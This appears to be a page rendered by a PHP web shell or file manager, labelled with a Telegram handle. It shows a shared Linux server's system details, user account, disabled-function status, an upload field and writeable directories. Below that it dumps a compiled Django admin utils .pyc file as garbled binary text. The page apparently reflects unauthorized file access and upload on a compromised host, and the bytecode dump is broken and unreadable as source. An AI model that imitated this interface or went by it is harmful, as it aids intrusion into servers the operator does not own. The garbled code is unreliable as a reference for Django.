https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/admin/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/admin/__pycache__/utils.cpython-310.pyc
o

3�aLM�@s�ddlZddlZddlZddlmZddlmZddlmZm	Z	ddl
mZddlm
Z
ddlmZddlmZmZdd	lmZmZdd
lmZddlmZddlmZdd
lmZmZdd�dD�Z dd�e �!�D�Z"edd�#dd�e"D���Z$Gdd�de%�Z&dd�Z'dd�Z(dd�Z)dd�Z*d d!�Z+d"d#�Z,d$d%�Z-Gd&d'�d'e
�Z.d(d)�Z/dEd*d+�Z0dEd,d-�Z1d.d/�Z2dFd1d2�Z3d3d4�Z4d5d6�Z5dGd7d8�Z6Gd9d:�d:e%�Z7d;d<�Z8d=d>�Z9d?d@�Z:dAdB�Z;dCdD�Z<dS)H�N)�defaultdict)�FieldDoesNotExist)�models�router)�
LOOKUP_SEP)�	Collector)�pretty_name)�NoReverseMatch�reverse)�formats�timezone)�format_html)�_lazy_re_compile)�capfirst)�ngettext�overridecCsi|]}|d|�qS)z_%02X�)�.0�irr�</usr/lib/python3/dist-packages/django/contrib/admin/utils.py�
<dictcomp>srs":/_#?;@&=+$,"[]<>%
\cCsi|]	\}}|t|��qSr)�chr)r�k�vrrrrsz_(?:%s)�|cCsg|]}|dd��qS)�Nr)r�xrrr�
<listcomp>src@seZdZdZdS)�FieldIsAForeignKeyColumnNamez/A field is a foreign key attname, i.e. <FK>_id.N)�__name__�
__module__�__qualname__�__doc__rrrrrsrc	Cs~|�t�}|D]5}|dkr|jj}z|�|�}Wn	ty!Yqwt|d�r<|��}|dj}t	dd�|D��r<dSqdS)zT
    Return True if 'distinct()' should be used to query the given lookup path.
    �pk�
get_path_info���css�|]}|jVqdS�N)�m2m)r�pathrrr�	<genexpr>/s�z(lookup_needs_distinct.<locals>.<genexpr>TF)
�splitrr#�name�	get_fieldr�hasattrr$�to_opts�any)�opts�lookup_path�
lookup_fields�
field_name�field�	path_inforrr�lookup_needs_distincts 
�

�r6cCs2|�d�r|�d�}|S|�d�r|��dv}|S)zJ
    Return a lookup value prepared to be used in queryset filtering.
    �__in�,�__isnull)��false�0)�endswithr*�lower)�key�valuerrr�prepare_lookup_value5s


�rAcCst|t�r
|�t�S|S)a*
    Ensure that primary key values do not confuse the admin URLs by escaping
    any '/', '_' and ':' and similarly problematic characters.
    Similar to urllib.parse.quote(), except that the quoting is slightly
    different so that it doesn't get automatically unquoted by the Web browser.
    )�
isinstance�str�	translate�	QUOTE_MAP��srrr�quoteBsrHcCst�dd�|�S)zUndo the effects of quote().cSst|dS)Nr)�UNQUOTE_MAP)�mrrr�<lambda>Nszunquote.<locals>.<lambda>)�
UNQUOTE_RE�subrFrrr�unquoteLsrNcCs6g}|D]}t|ttf�r|�|�q|�|�q|S)zS
    Return a list which is a single level of flattening of the original list.
    )rB�list�tuple�extend�append)�fields�flatr4rrr�flattenQsrUcCs(g}|D]
\}}|�t|d��q|S)z?Return a list of field names from an admin fieldsets structure.rS)rQrU)�	fieldsets�field_namesr+r0rrr�flatten_fieldsets^s
�rXc	s�z|d}Wntygit�gfYSwt�|jj�}t|d�}|�|�t�����fdd��|���}�fdd�|j	D�}dd�|j
��D�}||�|fS)	a
    Find all objects related to ``objs`` that should also be deleted. ``objs``
    must be a homogeneous iterable of objects (e.g. a QuerySet).

    Return a nested list of strings suitable for display in the
    template with the ``unordered_list`` filter.
    r)�usingcs�|j}|�jv}|j}dt|j�|f}|rO�j|��|�s%��|j�ztd�j|j	|j
fdt|j�f�}Wnt
yD|YSwtdt|j�||�S|S)Nz%s: %sz%s:%s_%s_changez{}: <a href="{}">{}</a>)�	__class__�	_registry�_metar�verbose_name�has_delete_permission�addr
r+�	app_label�
model_namerHr#r	r
)�obj�model�	has_adminr0�no_edit_link�	admin_url)�
admin_site�perms_needed�requestrr�format_callbackzs2
�����z,get_deleted_objects.<locals>.format_callbackcsg|]}�|��qSrr)rrb)rjrrr�sz'get_deleted_objects.<locals>.<listcomp>cSsi|]\}}|jjt|��qSr)r\�verbose_name_plural�len)rrc�objsrrrr�sz'get_deleted_objects.<locals>.<dictcomp>)�
IndexError�setr�db_for_writer\rc�
NestedObjects�collect�nested�	protected�
model_objs�items)	rmrirgrbrY�	collector�	to_deletert�model_countr)rgrjrhrir�get_deleted_objectshs�


rzcsXeZdZ�fdd�Zdd�Zd�fdd�	Z�fdd	�Zd
d�Zddd
�Zdd�Z	�Z
S)rqcs.t�j|i|��i|_t�|_tt�|_dSr&)�super�__init__�edgesrortrru��self�args�kwargs�rZrrr|�szNestedObjects.__init__cCs|j�|g��|�dSr&)r}�
setdefaultrR)r�source�targetrrr�add_edge�szNestedObjects.add_edgeNc
s�|D].}|r |�d�s ||jj|jjd�}|�t||�|�n|�d|�|j|jj�|�qz
t	�j
|fd|i|��WStjyY}z|j
�|j�WYd}~dSd}~wtjys}z|j
�|j�WYd}~dSd}~ww)N�+)�classr`�source_attr)r=r\rar`r��getattrrurcr_r{rrr�ProtectedErrorrt�update�protected_objects�RestrictedError�restricted_objects)rrmr�r�r�rb�related_name�er�rrrr�s$����zNestedObjects.collectcs$t��|||�}|jdd�|D��S)NcSsg|]}|j�qSr)r+)r�
related_fieldrrrr�sz1NestedObjects.related_objects.<locals>.<listcomp>)r{�related_objects�select_related)r�
related_model�related_fieldsrm�qsr�rrr��szNestedObjects.related_objectscCsj||vrgS|�|�g}|j�|d�D]}|�|�|||��q|r)||�g}n|g}|r3|�|�|S)Nr)r_r}�getrQ�_nestedrR)rrb�seenrj�children�child�retrrrr��s

zNestedObjects._nestedcCs6t�}g}|j�dd�D]}|�|�|||��q|S)z4
        Return the graph as a nested list.
        Nr)ror}r�rQr�)rrjr��roots�rootrrrrs�s
zNestedObjects.nestedcOsdS)z�
        We always want to load the objects into memory so that we can display
        them to the user in confirm page.
        Frr~rrr�can_fast_delete�szNestedObjects.can_fast_delete)NNr&)rr r!r|r�rrr�r�rsr��
__classcell__rrr�rrq�s

rqcCsFt|tjtjjf�r|j}nt|tjj�r|jj}n|}|j	|j
d�S)z�
    Return a `dict` with keys 'verbose_name' and 'verbose_name_plural',
    typically for use with string formatting.

    `obj` may be a `Model` instance, `Model` subclass, or `QuerySet` instance.
    )r]rk)rBr�Model�base�	ModelBaser\�query�QuerySetrcr]rk)rbr0rrr�model_format_dict�s
�r�cCsNt|tjj�r|dur|��}|j}t|�}|d|d}}t|||p%d�S)a-
    Return the appropriate `verbose_name` or `verbose_name_plural` value for
    `obj` depending on the count `n`.

    `obj` may be a `Model` instance, `Model` subclass, or `QuerySet` instance.
    If `obj` is a `QuerySet` instance, `n` is optional and the length of the
    `QuerySet` is used.
    Nr]rkr)rBrr�r��countrcr�r)rb�n�d�singular�pluralrrr�model_ngettext�s	r�c	Cs�|j}zt||�}Wn:ttfyDt|�r|}||�}n"t||�r1|dkr1t||�}||�}nt||�}t|�r>|�}n|}d}Ynwd}t||�}|||fS)N�__str__)r\�_get_non_gfk_fieldrr�callabler-r�)r+rb�model_adminr0�f�attrr@rrr�lookup_fields&



�

r�cCsR|�|�}|jr|jr|jr|jrt��|jr'|js't|d�r'|j|kr't	��|S)a
    For historical reasons, the admin app relies on GenericForeignKeys as being
    "not found" by get_field(). This could likely be cleaned up.

    Reverse relations should also be excluded as these aren't attributes of the
    model (rather something like `foo_set`).
    �attname)
r,�is_relation�many_to_oner��one_to_manyr�many_to_manyr-r�r)r0r+r4rrrr� s
��� r�Fc	Cs�d}zt|j|�}z|j}Wnty|jjj}YnwWn�ty�|dkr2t|jj�}t}n~t|�r9|}nCt||�rDt	||�}n8t||�rOt	||�}n-|r\||j
vr\|j
|}n d||jjf}|rn|d|jj
7}|rx|d|jj
7}t|��t|d�r�|j}n+t|t�r�t|d�r�t|jd�r�|jj}nt|�r�|j
dkr�d}n
t|j
�}nt|�}Ynty�t|�}|}Ynw|r�||fS|S)	ak
    Return a sensible label for a field name. The name can be a callable,
    property (but not created with @property decorator), or the name of an
    object's attribute, as well as a model field. If return_attr is True, also
    return the resolved attribute (which could be a callable). This will be
    None if (and only if) the name refers to a field.
    Nr�zUnable to lookup '%s' on %sz or %s�short_description�fgetz<lambda>z--)r�r\r]�AttributeErrorr�rrCr�r-r�rS�object_namerZrr�rB�propertyr�rr)	r+rcr��return_attr�formr�r4�label�messagerrr�label_for_field5s`
��



�
�

��r�c	CsBd}zt|j|�}WnttfyY|Swt|d�r|j}|S)Nr:�	help_text)r�r\rrr-r�)r+rcr�r4rrr�help_text_for_fieldqs�
r�cCs"ddlm}t|dd�rt|j��||�St|tj�r||�S|dur%|St|tj	�r3t
�t�
|��St|tjtjf�rAt
�|�St|tj�rNt
�||j�St|tjtjf�r\t
�|�St|tj�rk|rktd|j|�St|tj�r�|r�z
tj|d|jd�WSty�t||�YSwt||�S)Nr��
_boolean_icon�flatchoicesz<a href="{}">{}</a>F)�ensure_ascii�cls)�,django.contrib.admin.templatetags.admin_listr�r��dictr�r�rBr�BooleanField�
DateTimeFieldr�localizer�template_localtime�	DateField�	TimeField�DecimalField�
number_format�decimal_places�IntegerField�
FloatField�	FileFieldr
�url�	JSONField�json�dumps�encoder�	TypeError�display_for_value)r@r4�empty_value_displayr�rrr�display_for_field}s0

�
r�cCs�ddlm}|r||�S|dur|St|t�rt|�St|tj�r)t�t�	|��St|tj
tjf�r7t�|�St|tt
jtf�rEt�|�St|ttf�rVd�dd�|D��St|�S)Nrr�z, css�|]}t|�VqdSr&)rC)rrrrrr)�s�z$display_for_value.<locals>.<genexpr>)r�r�rB�boolrC�datetimerr�rr��date�time�int�decimal�Decimal�floatr�rOrP�join)r@r��booleanr�rrrr��s 


r�c@seZdZdS)�NotRelationFieldN)rr r!rrrrr��sr�cCst|d�r
|��djjSt�)Nr$r%)r-r$r.rcr�)r4rrr�get_model_from_relation�s
r�c	Cs�g}|}|�t�}|D]B}|j�|�}t|�t|�dkr.zt|�Wn
ty-Yn!w|jr@|jr7|j	r@|�
�}|jj}n|j
j}|j}|�d|�q|t�|�fS)z� Create a reversed field path.

    E.g. Given (Order, "user__groups"),
    return (Group, "user__order").

    Final field must be a related model, not a data field.
    rr)r*rr\r,rlr�r�r��auto_created�concrete�related_query_name�remote_fieldrcr4r+r��insertr�)rcr(�
reversed_path�parent�pieces�piecer4r�rrr�reverse_field_path�s$
�
r�cCsD|�t�}g}|D]}|rt|d�}n|}|�|j�|��q	|S)a; Return list of Fields given path relative to model.

    e.g. (ModelX, "user__groups__name") -> [
        <django.db.models.fields.related.ForeignKey object at 0x...>,
        <django.db.models.fields.related.ManyToManyField object at 0x...>,
        <django.db.models.fields.CharField object at 0x...>,
    ]
    r%)r*rr�rRr\r,)rcr(r�rSr�r�rrr�get_fields_from_path�s
	r�cCs:|j}td��
t||�}Wd�n1swYg}|r(|�dii�n|jr4|�dd|ii�|r�td��Y|D]M}|jD]}|�dt|jj�t|�d�i�qB|jD]\}}	|�dt|jj�t|�t|j	d|	�d�i�qX|j
D]}
|�dt|
jj�t|
�d�i�qwq=Wd�|S1s�wY|S)	z�
    Construct a JSON structure describing changes from a changed object.
    Translations are deactivated so that strings are stored untranslated.
    Translation happens later on LogEntry access.
    N�added�changedrS)r+�objectr)r+r�rS�deleted)�changed_data�translation_override�#_get_changed_field_labels_from_formrR�new_objectsrCr\r]�changed_objects�forms�deleted_objects)r��formsetsr_r��changed_field_labels�change_message�formset�added_object�changed_object�changed_fields�deleted_objectrrr�construct_change_message�sP	
�


��
��

����
��rc	CsLg}|D]}z
|j|jp|}Wnty|}Ynw|�t|��q|Sr&)rSr��KeyErrorrRrC)r�r�rr3�verbose_field_namerrrr�s�r�r&)NFN)F)=r�r�r��collectionsr�django.core.exceptionsr�	django.dbrr�django.db.models.constantsr�django.db.models.deletionr�django.forms.utilsr�django.urlsr	r
�django.utilsrr�django.utils.htmlr
�django.utils.regex_helperr�django.utils.textr�django.utils.translationrrr�rErvrIr�rL�	Exceptionrr6rArHrNrUrXrzrqr�r�r�r�r�r�r�r�r�r�r�r�rr�rrrr�<module>sR



8A


<
1

https://t.me/RX1948 - 2025